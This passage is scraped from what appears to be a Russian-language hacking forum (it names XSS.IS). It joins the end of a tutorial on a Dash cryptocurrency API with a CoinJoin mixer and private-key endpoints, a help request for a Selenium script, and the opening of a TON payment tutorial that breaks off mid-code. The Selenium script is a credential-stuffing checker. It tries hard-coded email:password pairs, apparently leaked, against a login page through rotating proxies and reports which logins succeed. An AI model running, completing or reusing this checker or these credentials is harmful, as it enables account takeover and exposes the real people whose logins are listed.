@router.get("/api/v1/check_balance", tags=["DASH"])
async def check_balance(
address: str = Query(..., description="Адрес для проверки баланса"),
user_uuid: str = Query(..., description="UUID"),
db: Session = Depends(get_db)
):
# Вызов функции проверки uuid, передавая в нее user_uuid из запроса и сессию
verify_user_uuid(user_uuid, db)
# Передача данных в функцию отправки запроса на ноду (rpc_call)
method = "getaddressbalance" # Команда для получения баланса
params = [address] # Кошелек чей баланс нужно получить
# Вызов rcp_call с отправкой в него метода и параметра для вызова RCP команды в ноду
result = rpc_call(method, params)
if result.get("error") is not None:
raise HTTPException(status_code=400, detail=result["error"])
if not isinstance(result.get("result"), dict):
raise HTTPException(status_code=400, detail="Неверный формат данных в ответе RPC.")
return result["result"] # Возвращает баланс кошелька
Данная функция также ничем не отличается, за исключением передаваемого метода (команды) и данных. А именно: вместо отправки адреса нужно отправлять хэш транзакции.
Python:Copy to clipboard
@router.get("/api/v1/check_transaction", tags=["DASH"])
async def check_transaction(
tx_hash: str = Query(..., description="Хэш транзакции"),
user_uuid: str = Query(..., description="UUID"),
db: Session = Depends(get_db)
):
# Вызов функции проверки uuid, передавая в нее user_uuid из запроса и сессию
verify_user_uuid(user_uuid, db)
# Передача данных в функцию отправки запроса на ноду (rpc_call)
method = "getrawtransaction" # Команда для получения информации о транзакции по ее хэшу
params = [tx_hash, True] # Хэш транзакции
# Вызов rcp_call с отправкой в него метода и параметра для вызова RCP команды в ноду
result = rpc_call(method, params)
if result.get("error") is not None:
raise HTTPException(status_code=400, detail=result["error"])
if not isinstance(result.get("result"), dict):
raise HTTPException(status_code=400, detail="Неверный формат данных в ответе RPC.")
return result["result"] # Возвращает информацию о транзакции
Python:Copy to clipboard
@router.get("/api/v1/check_utxo", tags=["DASH"])
async def check_utxo(
addresses: str = Query(..., description="Список адресов через запятую"),
user_uuid: str = Query(..., description="UUID"),
db: Session = Depends(get_db)
):
# Вызов функции проверки uuid, передавая в нее user_uuid из запроса и сессию
verify_user_uuid(user_uuid, db)
address_list = addresses.split(",")
# Передача данных в функцию отправки запроса на ноду (rpc_call)
method = "getaddressutxos"
params = [{"addresses": address_list}] # Объект с адресами
# Вызов rcp_call с отправкой в него метода и параметра для вызова RCP команды в ноду
result = rpc_call(method, params)
if result.get("error") is not None:
raise HTTPException(status_code=400, detail=result["error"])
if not isinstance(result.get("result"), list):
raise HTTPException(status_code=400, detail="Неверный формат данных в ответе RPC.")
return result["result"] # Возвращает информацию о входах (нетронутые пришедшие на кошелек транзакции)
В данной функции хочу обратить внимание на эту строку:
Python:Copy to clipboard
address_list = addresses.split(",")
Данная строка нужна тут, так как RPC-команда getaddressutxos позволяет отправлять несколько кошельков для получения выходов со всех одновременно. Глупо было бы это не реализовать, если была такая возможность.
В данной функции также есть возможность отправлять несколько кошельков для получения информации о всех сразу.
Python:Copy to clipboard
@router.get("/api/v1/balance_history", tags=["DASH"])
async def balance_history(
addresses: str = Query(..., description="Список адресов через запятую"),
user_uuid: str = Query(..., description="UUID"),
db: Session = Depends(get_db)
):
# Вызов функции проверки uuid, передавая в нее user_uuid из запроса и сессию
verify_user_uuid(user_uuid, db)
address_list = addresses.split(",")
# Передача данных в функцию отправки запроса на ноду (rpc_call)
method = "getaddressdeltas"
params = [{"addresses": address_list}] # Объект с адресами
# Вызов rcp_call с отправкой в него метода и параметра для вызова RCP команды в ноду
result = rpc_call(method, params)
if result.get("error") is not None:
raise HTTPException(status_code=400, detail=result["error"])
if not isinstance(result.get("result"), list):
raise HTTPException(status_code=400, detail="Неверный формат данных в ответе RPC.")
return result["result"]
Теперь будет рассмотрена логика создания и отправки транзакции. Именно на этом моменте я потратил немало времени, чтобы найти решение некоторых вопросов и в принципе найти нужную информацию, так как документация Dash немного хромает.
Например, одним из вариантов было сделать одну функцию, которая сразу же будет создавать, подписывать и отправлять транзакцию. Но проблема заключалась в том, что для отправки транзакции нужно ее подписать, а для подписания транзакции необходим приватный ключ. Не каждый захочет отправлять в сторонний сервис свой приватный ключ от кошелька, но и не каждый будет бояться это сделать, поэтому была задача угодить всем.
Таким образом, я пришел к решению, что лучше разделить все этапы на разные функции и запросы. Таким образом, любой сможет создать транзакцию и отправить ее, не используя при этом приватный ключ, при условии что пользователь самостоятельно будет подписывать транзакции. Если же пользователь не боится утечки своего кошелька, он сможет воспользоваться подписью транзакции через сервис, благодаря чему не будет тратить лишнее время на разработку своей логики подписания. В общем, довольными должны остаться все.
Комиссия рассчитывается методом считывания всех байтов в подписанной транзакции. Минимально выставляемая цена за байт — это один сатоши. Обратите внимание, что именно подписанной транзакции, так как после подписи добавляются новые компоненты.
Сложность заключалась в том, что я не знал, сколько весит каждый объект в транзакции, из-за чего грамотно рассчитать комиссию не получалось. Методом проб и ошибок, а также несколько слитых полностью в комиссию Dash, я вычислил формулу для расчета комиссии.
Общий размер комиссии = 10 + (количество входов × 148) + (количество выходов × 34)
В транзакции также добавляется еще 10 байтов. Это не лишние или запасные байты, как можно было бы подумать, а версия + locktime. То есть, это означает версию формата транзакции и locktime, который определяет время или номер блока, с которого транзакция станет действительной для включения в блокчейн.
Если проверить входы кошелька через getaddressutxos, вид входов будет отличаться от того, который я только что описал. Дело в том, что это не полный вид входа. Данные, получаемые через getaddressutxos, нужны лишь для составления новых входов новой транзакции. Если хотите увидеть полный формат входов, то нужно использовать команду getrawtransaction для получения полной информации о транзакции.
Итак, с основами разобрались, теперь можно начинать писать функции для работы
с транзакциями. Первой функцией будет создание транзакции. Но если делать
автоподсчет комиссии, она будет минимальной, соответственно проверка такой
транзакции будет дольше. Не всем это подойдет, поэтому было решено сделать две
функции: одну с автоподсчетом и одну с ручным указанием комиссии.
Первой будет реализована функция с автоподсчетом.
Как будет устроена данная функция:
Python:Copy to clipboard
# Создание транзакции с авто подсчетом комиссии
@router.get("/api/v1/create_transaction_auto_fee", tags=["DASH"])
async def create_transaction_auto_fee(
from_address: str = Query(..., description="Адрес отправителя"),
to_address: str = Query(..., description="Адрес получателя"),
spend_change_to_address: str = Query(..., description="Адрес для сдачи"),
amount: int = Query(..., description="Сумма перевода в Satoshi"),
user_uuid: str = Query(..., description="UUID пользователя"),
db: Session = Depends(get_db)
):
# Вызов функции проверки uuid, передавая в нее user_uuid из запроса и сессию
verify_user_uuid(user_uuid, db)
# Передача данных в функцию отправки запроса на ноду (rpc_call)
method = "getaddressutxos" # Команда для получения всех входов конкретного кошелька
params = [{"addresses": [from_address]}] # Кошелек
# Вызов rcp_call с отправкой в него метода и параметра для вызова RCP команды в ноду
result = rpc_call(method, params)
if result.get("error") is not None:
raise HTTPException(status_code=400, detail=result["error"])
if not isinstance(result.get("result"), list):
raise HTTPException(status_code=400, detail="Неверный формат данных в ответе RPC.")
# Баланс по умолчанию
total_balance = 0
# Формируем объект для записи всех входов
inputs = []
# Формируем выходы
outputs = [{to_address: amount / 100000000}] # В выход записывается кошелек для перевода и деленная сумма в сатоши для получения суммы в Dash
# Перебираем все элементы из списка result["result"]
for new_utxo in result["result"]:
# Берем из каждого элемента ключ ["satoshis"] и его значение добавляем в переменную total_balance что бы потом получить баланс со всех входов
total_balance += new_utxo["satoshis"]
# Добавляем входы в список
inputs.append({
"txid": new_utxo["txid"],
"vout": new_utxo["outputIndex"]
})
# Расчет комиссии на основе количества входов и выходов
input_count = len(inputs)
output_count = len(outputs)
fee_rate = 10 + (input_count * 148) + (output_count * 34) # Общий размер транзакции
# Если комиссия меньше 227, округляем до 227
if fee_rate < 227:
fee_rate = 227
# Если баланс меньше чем сумма отправки, то ошибка
if total_balance < amount + fee_rate:
raise HTTPException(status_code=400, detail=f"Недостаточно средств для транзакции. "
f"Максимальная сумма для перевода: "
f"{total_balance - fee_rate} Satoshi")
# Если остаток баланса после вычитания суммы перевода и комиссии больше нуля
if total_balance - amount - fee_rate > 0 :
fee_rate += 34
spend_change = total_balance - amount - fee_rate # Вычисляем остаток
# Добавляем на выход кошелек для сдачи и остаток сатоши конвертированный в Dash
outputs.append({spend_change_to_address: spend_change / 100000000})
else:
spend_change = 0
# Передача данных в функцию отправки запроса на ноду (rpc_call)
method = "createrawtransaction" # Команды создания необработанной транзакции
params = [inputs, outputs] # Входы (не тронутые транзакции на кошельке) и выходы (куда отправлять и сколько денег)
# Вызов rcp_call с отправкой в него метода и параметра для вызова RCP команды в ноду
result = rpc_call(method, params)
if result.get("error") is not None:
raise HTTPException(status_code=400, detail=result["error"])
if not isinstance(result.get("result"), str):
raise HTTPException(status_code=400, detail="Неверный формат данных в ответе RPC.")
return {
"raw_transaction": result["result"],
"total_balance": total_balance,
"amount": amount,
"fee_rate": fee_rate,
"spend_change": spend_change,
"total_balance_satoshi": total_balance / 100000000,
"amount_satoshi": amount / 100000000,
"fee_rate_satoshi": fee_rate / 100000000,
"spend_change_satoshi": spend_change / 100000000
}
По комментариям в коде должно быть все понятно, хочу упомянуть лишь эту строку при проверке остатка баланса:
Python:Copy to clipboard
fee_rate += 34
Это нужно, так как если есть остаток, добавляется лишний выход для сдачи. Поэтому к общей сумме комиссии дописывается еще 34 байта, то есть в нашем случае сатоши, поскольку один выход именно столько и весит. Если проверку на остаток не делать и не добавлять выход на сдачу, то все монеты, которые не вошли в сумму перевода, будут зачислены в комиссию.
Теперь рассмотрим функцию создания транзакции с указанием комиссии вручную.
Python:Copy to clipboard
@router.get("/api/v1/create_transaction", tags=["DASH"])
async def create_transaction(
from_address: str = Query(..., description="Адрес отправителя"),
to_address: str = Query(..., description="Адрес получателя"),
spend_change_to_address: str = Query(..., description="Адрес для сдачи"),
amount: int = Query(..., description="Сумма перевода в Satoshi"),
user_uuid: str = Query(..., description="UUID пользователя"),
fee_rate: int = Query(5000, description="Комиссия"),
db: Session = Depends(get_db)
):
# Вызов функции проверки uuid, передавая в нее user_uuid из запроса и сессию
verify_user_uuid(user_uuid, db)
# Передача данных в функцию отправки запроса на ноду (rpc_call)
method = "getaddressutxos" # Команда для получения всех входов конкретного кошелька
params = [{"addresses": [from_address]}] # Кошелек
# Вызов rcp_call с отправкой в него метода и параметра для вызова RCP команды в ноду
result = rpc_call(method, params)
if result.get("error") is not None:
raise HTTPException(status_code=400, detail=result["error"])
if not isinstance(result.get("result"), list):
raise HTTPException(status_code=400, detail="Неверный формат данных в ответе RPC.")
# Баланс по умолчанию
total_balance = 0
# Формируем объект для записи всех входов
inputs = []
# Формируем выходы
outputs = [{to_address: amount / 100000000}] # В выход записывается кошелек для перевода и деленная сумма в сатоши для получения суммы в Dash
# Перебираем все элементы из списка result["result"]
for new_utxo in result["result"]:
# Берем из каждого элемента ключ ["satoshis"] и его значение добавляем в переменную total_balance что бы потом получить баланс со всех входов
total_balance += new_utxo["satoshis"]
# Добавляем входы в список
inputs.append({
"txid": new_utxo["txid"],
"vout": new_utxo["outputIndex"]
})
# Если комиссия меньше
if fee_rate < 227:
fee_rate = 227
# Если баланс меньше чем сумма отправки + начальная комиссия, то ошибка
if total_balance < amount + fee_rate :
raise HTTPException(status_code=400, detail=f"Недостаточно средств для транзакции. "
f"Максимальная сумма для перевода: "
f"{total_balance - fee_rate} Satoshi")
# Если остаток баланса после вычитания суммы перевода и комиссии больше нуля
if total_balance - amount - fee_rate > 0 :
spend_change = total_balance - amount - fee_rate # Вычисляем остаток
# Добавляем на выход кошелек для сдачи и остаток сатоши конвертированный в Dash
outputs.append({spend_change_to_address: spend_change / 100000000})
else:
spend_change = 0
# Передача данных в функцию отправки запроса на ноду (rpc_call)
method = "createrawtransaction" # Команды создания необработанной транзакции
params = [inputs, outputs] # Входы (не тронутые транзакции на кошельке) и выходы (куда отправлять и сколько денег)
# Вызов rcp_call с отправкой в него метода и параметра для вызова RCP команды в ноду
result = rpc_call(method, params)
if result.get("error") is not None:
raise HTTPException(status_code=400, detail=result["error"])
if not isinstance(result.get("result"), str):
raise HTTPException(status_code=400, detail="Неверный формат данных в ответе RPC.")
return {
"raw_transaction": result["result"],
"total_balance": total_balance,
"amount": amount,
"fee_rate": fee_rate,
"spend_change": spend_change,
"total_balance_satoshi": total_balance / 100000000,
"amount_satoshi": amount / 100000000,
"fee_rate_satoshi": fee_rate / 100000000,
"spend_change_satoshi": spend_change / 100000000
}
В данной функции практически то же самое, за исключением нового поля с указанием комиссии, полного отсутствия автоматического вычисления и также проверки на сдачу. К сумме комиссии не добавляется +35, так как пользователь сам должен был ее рассчитать, и автоматом ничего не должно меняться (исключением стала только проверка на то, чтобы комиссию не указывали меньше 225, данную проверку было решено оставить).
На этом с функцией создания транзакции закончено, и при удачном выполнении будет получена транзакция в виде hex.
Следующая на очереди — это функция для подписания транзакции. В данной функции ничего не отличается от остальных. Просто отправка данных по RPC и получение уже подписанной транзакции в виде hex. В качестве отправляемых данных будет приватный ключ кошелька и полученная в предыдущей функции транзакция в виде hex. В ответ мы получим снова транзакцию в виде hex, но уже подписанную.
Python:Copy to clipboard
@router.get("/api/v1/sign_transaction", tags=["DASH"])
async def sign_transaction(
raw_transaction: str = Query(..., description="Транзакция в hex формате"),
user_uuid: str = Query(..., description="UUID"),
privat_key: str = Query(..., description="Приватный ключ кошелька"),
db: Session = Depends(get_db)
):
# Вызов функции проверки uuid, передавая в нее user_uuid из запроса и сессию
verify_user_uuid(user_uuid, db)
method = "signrawtransactionwithkey" # RCP команда для подписания транзакций
params = [raw_transaction, [privat_key]] # Передача хэша транзакции и првиатного ключа необходимого для подписания
# Вызов rcp_call с отправкой в него метода и параметра для вызова RCP команды в ноду
result = rpc_call(method, params)
if result.get("error") is not None:
raise HTTPException(status_code=400, detail=result["error"])
if not isinstance(result.get("result"), dict):
raise HTTPException(status_code=400, detail="Неверный формат данных в ответе RPC.")
return result["result"]["hex"]
В функции отправки транзакции тоже ничего сложного, просто работа с RPC- командой и передача в нее подписанной транзакции.
Python:Copy to clipboard
@router.get("/api/v1/broadcast_transaction", tags=["DASH"])
async def broadcast_transaction(
signed_raw_transaction: str = Query(..., description="Подписанная транзакция в hex формате"),
user_uuid: str = Query(..., description="UUID"),
db: Session = Depends(get_db)
):
# Вызов функции проверки uuid, передавая в нее user_uuid из запроса и сессию
verify_user_uuid(user_uuid, db)
method = "sendrawtransaction" # RCP команда для отправки подписанной транзакции в блок
params = [str(signed_raw_transaction), 0, False, False] # Передается подписанная транзакция
result = rpc_call(method, params)
return result
Также, как бонус, добавлю возможность получения информации о конкретном блоке и информацию о самой ноде (проверка центров синхронизации и т.д.).
Python:Copy to clipboard
@router.get("/api/v1/block_info", tags=["DASH"])
async def block_info(
block_hash: str = Query(..., description="Хэш блока"),
user_uuid: str = Query(..., description="UUID"),
db: Session = Depends(get_db)
):
# Вызов функции проверки uuid, передавая в нее user_uuid из запроса и сессию
verify_user_uuid(user_uuid, db)
method = "getblock" # Команда для получения информации о блоке по его хэшу
params = [block_hash]
result = rpc_call(method, params)
if result.get("error") is not None:
raise HTTPException(status_code=400, detail=result["error"])
if not isinstance(result.get("result"), dict):
raise HTTPException(status_code=400, detail="Неверный формат данных в ответе RPC.")
return result["result"]
Python:Copy to clipboard
@router.get("/api/v1/sync_status", tags=["DASH"])
async def sync_status(
user_uuid: str = Query(..., description="UUID"),
db: Session = Depends(get_db)
):
# Вызов функции проверки uuid, передавая в нее user_uuid из запроса и сессию
verify_user_uuid(user_uuid, db)
method = "getblockchaininfo" # Команда для получения информации о ноде
result = rpc_call(method)
if result.get("error") is not None:
raise HTTPException(status_code=400, detail=result["error"])
if not isinstance(result.get("result"), dict):
raise HTTPException(status_code=400, detail="Неверный формат данных в ответе RPC.")
return result["result"]
Перед написанием функции миксации нужно разъяснить несколько технических моментов.
В кошельке создается множество дочерних адресов, баланс с основного кошелька переводится на кошельки таких же пользователей функцией миксации мелкими транзакциями. Назад вы получаете ту же сумму, только она приходит также от разных пользователей системы CoinJoin и распределяется на ваши дочерние адреса, а не на основной.
Миксация возможна только для локального кошелька DashCore, поэтому нужно создать кошелек, затем импортировать в него приватный ключ и только после этого запускать миксацию. Функция для создания кошельков в API уже есть, поэтому нужно написать функцию для импортирования в кошелек адреса, используя приватный ключ.
Python:Copy to clipboard
@router.get("/api/v1/import_private_key", tags=["DASH WALLET"])
async def import_private_key(
wallet_name: str = Query(..., description="Название кошелька"),
private_key: str = Query(..., description="Приватный ключ кошелька"),
user_uuid: str = Query(..., description="UUID"),
db: Session = Depends(get_db)
):
# Проверка UUID пользователя
verify_user_uuid(user_uuid, db)
# Проверка, принадлежит ли кошелек указанному пользователю
wallet = db.query(DWallet).filter(DWallet.wallet_name == wallet_name, DWallet.user_unique_id == user_uuid).first()
if not wallet:
return {"error": "Кошелек с указанным именем не найден у пользователя с данным UUID."}
# Импорт приватного ключа в новый кошелек
method = "importprivkey"
params = [private_key, ""]
result = rpc_call(method, params, wallet_name=wallet_name)
# Проверка на ошибки
if result.get("error"):
raise HTTPException(status_code=400, detail=result["error"])
# Если результат отсутствует (null), возвращаем подтверждение импорта
if result.get("result") is None:
return {"status": "success", "message": f"Приватный ключ успешно импортирован в кошелек {wallet_name}."}
# Возвращаем оригинальный результат в случае наличия данных
return {"status": "success", "data": result["result"]}
Данная функция практически аналогична многим уже разобранным функциям. В ней
просто отправляется запрос в ноду с приватным ключом и названием кошелька,
который находится локально в DashCore. Также была добавлена проверка на то,
что кошелек принадлежит пользователю с указанным uuid, чтобы случайный
пользователь не мог работать с чужим кошельком.
Теперь можно рассмотреть саму функцию запуска миксера.
В данной функции требуется отправить несколько запросов, а именно:
Python:Copy to clipboard
@router.get("/api/v1/start_mixing", tags=["DASH COINJOIN"])
async def start_mixing(
wallet_name: str = Query(..., description="Название кошелька"),
coinjoin_amount: int = Query(..., description="Лимит монет для микширования"),
coinjoin_rounds: int = Query(..., description="Количество раундов для микширования"),
user_uuid: str = Query(..., description="UUID"),
db: Session = Depends(get_db)
):
# Проверка UUID пользователя
verify_user_uuid(user_uuid, db)
# Проверка, принадлежит ли кошелек указанному пользователю
wallet = db.query(DWallet).filter(DWallet.wallet_name == wallet_name, DWallet.user_unique_id == user_uuid).first()
if not wallet:
return {"error": "Кошелек с указанным именем не найден у пользователя с данным UUID."}
# Проверка значения coinjoin_amount
if coinjoin_amount > 100:
return {"error": "Значение лимита монет для микширования не может быть больше 100."}
# Проверка значения coinjoin_rounds
if coinjoin_rounds > 16:
return {"error": "Количество раундов для микширования не может быть больше 16."}
# Установка лимита монет для микширования
method = "setcoinjoinamount"
params = [coinjoin_amount]
rpc_call(method, params, wallet_name=wallet_name)
# Установка количества раундов для микширования
method = "setcoinjoinrounds"
params = [coinjoin_rounds]
rpc_call(method, params, wallet_name=wallet_name)
# Запуск микшера
method = "coinjoin"
params = ["start"]
result = rpc_call(method, params, wallet_name=wallet_name)
return {"status": result["result"],
"wallet_name": wallet_name}
Т.к. миксация чаще всего занимает много времени, её можно остановить. Это не значит, что миксации вовсе не будет, это значит, что монета будет замиксована, просто не через такое огромное количество кошельков. Поэтому рассмотрим функцию остановки миксации.
Python:Copy to clipboard
@router.get("/api/v1/stop_mixing", tags=["DASH COINJOIN"])
async def stop_mixing(
wallet_name: str = Query(..., description="Название кошелька"),
user_uuid: str = Query(..., description="UUID"),
db: Session = Depends(get_db)
):
# Проверка UUID пользователя
verify_user_uuid(user_uuid, db)
# Проверка, принадлежит ли кошелек указанному пользователю
wallet = db.query(DWallet).filter(DWallet.wallet_name == wallet_name, DWallet.user_unique_id == user_uuid).first()
if not wallet:
return {"error": "Кошелек с указанным именем не найден у пользователя с данным UUID."}
# Остановка микшера
method = "coinjoin"
params = ["stop"]
result = rpc_call(method, params, wallet_name=wallet_name)
print(result)
return {
"status": "CoinJoin stopped",
"wallet_name": wallet_name
}
После миксации на основном адресе монет не будет, и баланс будет нулевым. Поэтому нужно написать функцию для проверки баланса. У нас уже есть такая функция, но она проверяет баланс по адресу, а нам понадобится делать проверку по кошельку в DashCore, чтобы увидеть баланс со всех дочерних адресов.
Python:Copy to clipboard
@router.get("/api/v1/check_balance_wallet", tags=["DASH WALLET"])
async def check_balance_wallet(
wallet_name: str = Query(..., description="Название кошелька"),
user_uuid: str = Query(..., description="UUID"),
db: Session = Depends(get_db)
):
# Проверка UUID пользователя
verify_user_uuid(user_uuid, db)
# Проверка, принадлежит ли кошелек указанному пользователю
wallet = db.query(DWallet).filter(DWallet.wallet_name == wallet_name, DWallet.user_unique_id == user_uuid).first()
if not wallet:
return {"error": "Кошелек с указанным именем не найден у пользователя с данным UUID."}
# Получение информации о кошельке
method = "getwalletinfo"
params = []
result = rpc_call(method, params, wallet_name=wallet_name)
# Проверка наличия ключа "result" и "balance"
if not result or "result" not in result:
return {"error": "Ошибка получения данных от RPC. Ответ: {}".format(result)}
balance = result["result"].get("balance")
if balance is None:
return {"error": "Баланс не найден в ответе RPC. Ответ: {}".format(result)}
# Возвращаем баланс
return {
"wallet_name": wallet_name,
"balance": balance
}
Чтобы вывести монетки, обычная функция создания транзакций не подойдет, т.к. она работает с конкретным адресом. Поэтому нужно написать новую функцию, которая, как и предыдущая, будет работать с локальными кошельками DashCore.
Python:Copy to clipboard
@router.get("/api/v1/send_transaction_wallet", tags=["DASH WALLET"])
async def send_transaction_wallet(
wallet_name: str = Query(..., description="Название кошелька"),
to_address: str = Query(..., description="Адрес получателя"),
amount: float = Query(..., description="Сумма для отправки в dash"),
user_uuid: str = Query(..., description="UUID"),
db: Session = Depends(get_db)
):
# Проверка UUID пользователя
verify_user_uuid(user_uuid, db)
# Проверка, принадлежит ли кошелек указанному пользователю
wallet = db.query(DWallet).filter(DWallet.wallet_name == wallet_name, DWallet.user_unique_id == user_uuid).first()
if not wallet:
return {"error": "Кошелек с указанным именем не найден у пользователя с данным UUID."}
# Отправка средств
method = "sendtoaddress"
params = [to_address, amount]
result = rpc_call(method, params, wallet_name=wallet_name)
if result.get("error") is not None:
raise HTTPException(status_code=400, detail=result["error"])
return result["result"]
На этом с софтом полностью закончено, и можно рассмотреть то, что у нас получилось. Сразу напомню о строке:
Python:Copy to clipboard
tags=["DASH"]
Данная строка разделяет функции на страницы и на несколько категорий. Увидеть
это можно на скриншоте ниже:
Заполняете поля названием кошелька, количеством монет для миксации,
количеством этапов миксации, uuid пользователя, нажимаете кнопку Execute — и
всё, миксация началась.
Вводите название кошелька, uuid пользователя, нажимаете кнопку Execute — и
миксация монет остановится.
С остальным функционалом всё точно так же: просто заполняете поля, нажимаете
кнопку — и всё, получаете результат, например, проверку баланса по адресу.
В данной статье было реализовано своё API для работы с Dash, в том числе был реализован миксер монет на кошельке, что я считаю достаточно полезным для читателей форума. В принципе, данное API будет хорошим инструментом для реализации на его основе других проектов, например чекеров. Но и само по себе API можно использовать как готовый инструмент благодаря встроенной в FastAPI интерактивной документации, показанной на скриншотах выше.
Статья в виде документа -https://docs.google.com/document/d/15CFGWGPVa1ZXlqndw8AqAG0Y-agXIUZI4pSxBLvqZRQ/edit?usp=sharing
Проект на GitHub -https://github.com/overlordgamedev/Hooli-Crypto- API
Сделано OverlordGameDev специально для форума XSS.IS
Всем доброго времени суток. Посоветуйте лучший курс по python для получения какой-то основы, фундамента
Доброго времени суток, при разработке костыля возникли трудности, завис на этапе подключения прокси.
Python:Copy to clipboard
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.chrome.options import Options as ChromeOptions
from selenium.common.exceptions import NoSuchElementException, TimeoutException, WebDriverException
import random
proxy_list = [
"http://ip:port:user:password"
]
account_list = [
"jelleman@hotmail.com:mnstudio4zumba",
"alfonsotorres20@hotmail.com:america123",
"helene.melliou@hotmail.com:kryfto"
]
random.shuffle(proxy_list)
random.shuffle(account_list)
for proxy_url, account in zip(proxy_list, account_list):
login, password = account.split(':')
try:
chrome_options = ChromeOptions()
chrome_options.add_argument('--ignore-certificate-errors')
chrome_options.add_argument('--disable-web-security')
chrome_options.add_argument('--no-sandbox')
chrome_options.add_argument(f'--proxy-server={proxy_url}')
driver = webdriver.Chrome(options=chrome_options)
driver.get("https://TARGET.COM/")
username_field = WebDriverWait(driver, 10).until(EC.presence_of_element_located((By.ID, "input_login_id")))
password_field = WebDriverWait(driver, 10).until(EC.presence_of_element_located((By.ID, "input_password_id")))
username_field.send_keys(login)
password_field.send_keys(password)
password_field.send_keys(Keys.RETURN)
try:
error_message = WebDriverWait(driver, 10).until(EC.presence_of_element_located((By.ID, "error-message")))
print(f"Неверные учетные данные: {login}:{password}")
except TimeoutException:
print(f"Успешный вход: {login}:{password}")
except NoSuchElementException as e:
print(f"Элемент не найден: {e}")
except TimeoutException as e:
print(f"Таймаут ожидания: {e}")
except WebDriverException as e:
print(f"Ошибка Selenium WebDriver: {e}")
except Exception as e:
print(f"Произошла неожиданная ошибка: {e}")
finally:
driver.quit()
Проблема в подключении прокси с авторизацией, не могу понять как подключить
http прокси с авторизацией (ip:port:user:password), пробовал несколько
библиотек (browsermobproxy, pyproxy и т.п), ниче не катит.
Суть проста - натягивается прокси на chrome, открывается окно с сайтом ->
поиск input -> заполнение -> отправляем форму. Все, пока это финальный этап.
Гуру Python, нужна ваша помощь!
Любая информация для меня важна, заранее благодарю
В данной статье будет реализирована собственная платежная система на TON с использованием собственного API, а также тестирование этого API. Для реализации платежной системы за основу будет взята библиотека tonutils в связке с tonconsole. Эта библиотека была выбрана, поскольку она показалась более простой в освоении по сравнению с другими библиотеками, список которых можно посмотреть по этой ссылке: https://docs.ton.org/develop/dapps/apis/sdk#adnl-based-sdks
Для начала будет рассмотрен код для создания TON-кошелька. Первое, что нужно сделать, — это зарегистрироваться на tonconsole и получить API-ключ: https://tonconsole.com/. Регистрация там простая, нужно лишь авторизоваться через аккаунт Telegram. Ограничения у данного сервиса достаточно незаметные: возможен только один запрос в секунду, что, по моему мнению, абсолютно не критично. После получения ключа можно начинать писать код. В новом проекте будет создан файл create_wallets.py. В этом файле сразу же нужно указать необходимые импорты.
Python:Copy to clipboard
from tonutils.client import TonapiClient
from tonutils.wallet import WalletV3R1
Модуль WalletV3R1 означает, что он предназначен для работы с кошельками третьей версии (V3) первого релиза (R1). Версии кошельков могут меняться и устаревать. В новых версиях могут, например, исправлять уязвимости, улучшать безопасность и многое другое.
Далее нужно создать переменную с API-ключом, полученным ранее, и переменную, которая будет использоваться как флаг для указания, в какой сети будет работать софт — в тестовой или основной (в статье будет использоваться только тестовая сеть, так как в ней можно получить TON бесплатно).
Python:Copy to clipboard
api_key = ""
is_testnet = True
Затем следует создание самого кошелька с использованием API и флага.
Python:Copy to clipboard
client = TonapiClient(api_key=api_key, is_testnet=is_testnet)
# Создание кошелька
wallet, public_key, private_key, mnemonic = WalletV3R1.create(client)
# Конвертация ключей в hex формат
public_key_hex = public_key.hex()
private_key_hex = private_key.hex()
Для отображения результата были добавлены принты.
Python:Copy to clipboard
print("Кошелек успешно создан!")
print(f"Адрес: {wallet.address.to_str()}")
print(f"Публичный ключ: {public_key_hex}")
print(f"Приватный ключ: {private_key_hex}")
print(f"Мнемоническая фраза: {mnemonic}")
Результат:
Теперь будет показано, как реализовать проверку баланса с использованием tonconsole.com. Документацию по их API можно посмотреть по этой ссылке: https://docs.tonconsole.com/. Проверка баланса будет выполняться через обычные запросы, и, кроме ограничения в один запрос в секунду, других ограничений нет.
Был создан новый файл с названием check_balance.py. В нем сразу нужно указать API-ключ, кошелек и ссылку для отправки запроса (если убрать из ссылки "testnet.", то работа будет с основной сетью), а также саму отправку запроса.
Python:Copy to clipboard
api_key = ''
wallet_address = ''
balance_url = f'https://testnet.tonapi.io/v2/accounts/{wallet_address}'
headers = {
'X-API-KEY': api_key
}
response = requests.get(balance_url, headers=headers)
Далее из ответа нужно извлечь ключ balance и разделить его значение на 1 000 000 000. Если не выполнять деление, то результат будет не в TON, а в nanoTON
Python:Copy to clipboard
# Если ответ положительный
if response.status_code == 200:
# Запись ответа в переменную data
data = response.json()
# Извлечение баланса
balance = data.get('balance')
print(f"Баланс: {balance / 1000000000} TON") # Преобразуем в TON
else:
print(f"Ошибка при получении баланса: {response.status_code} - {response.text}")
Результат:
Также можно проверять баланс, не отправляя запросы через requests, а используя tonutils.
Python:Copy to clipboard
from tonutils.client import TonapiClient
from tonutils.utils import to_amount
from tonutils.wallet import WalletV3R1
api_key = ""
is_testnet = True
mnemonic: list[str] = []
async def main() -> None:
client = TonapiClient(api_key=api_key, is_testnet=is_testnet )
wallet, public_key, private_key, mnemonic = WalletV3R1.from_mnemonic(client, mnemonic)
balance = await wallet.balance()
print(f"Баланс: {to_amount(balance)}")
if __name__ == "__main__":
import asyncio
asyncio.run(main())
Для того чтобы получить монеты, можно отправить команду /get этому боту в Telegram: @testgiver_ton_bot. После этого нужно пройти капчу и ввести кошелек, и всё. В течение 10 секунд на кошелек придет 2 TON в тестовой сети.
Важно замечание! Если вы генерируете 2 кошелька и на каждый из них выдали TON в тестовой сети, то по умолчанию кошельки не будут активными. Чтобы сделать их активными, вам потребуется совершить с них любую транзакцию на любой кошелек, даже в тестовой сети. Можете просто отправить любое количество TON с каждого кошелька друг другу.
Чтобы узнать, активен ли кошелек, можете перейти по этой ссылке: https://testnet.tonapi.io/v2/accounts/кошелек. На открывшейся странице найдите ключ "status".
Раз речь пошла об отправке транзакций с одного кошелька на другой, то как раз это сейчас и будет реализовано в коде. Для этого был создан файл transfer_ton.py. В данном файле также нужно указать API, сеть, мнемоническую фразу, а также адрес, куда отправлять, комментарий к транзакции (необязателен) и сумму к отправке.
Python:Copy to clipboard
from tonutils.client import TonapiClient
from tonutils.wallet import WalletV3R1
api_key = ""
is_testnet = True
MNEMONIC: list[str] = []
DESTINATION_ADDRESS = ""
COMMENT = "hui1234"
Вот код для отправки TON:
Python:Copy to clipboard
async def transfer():
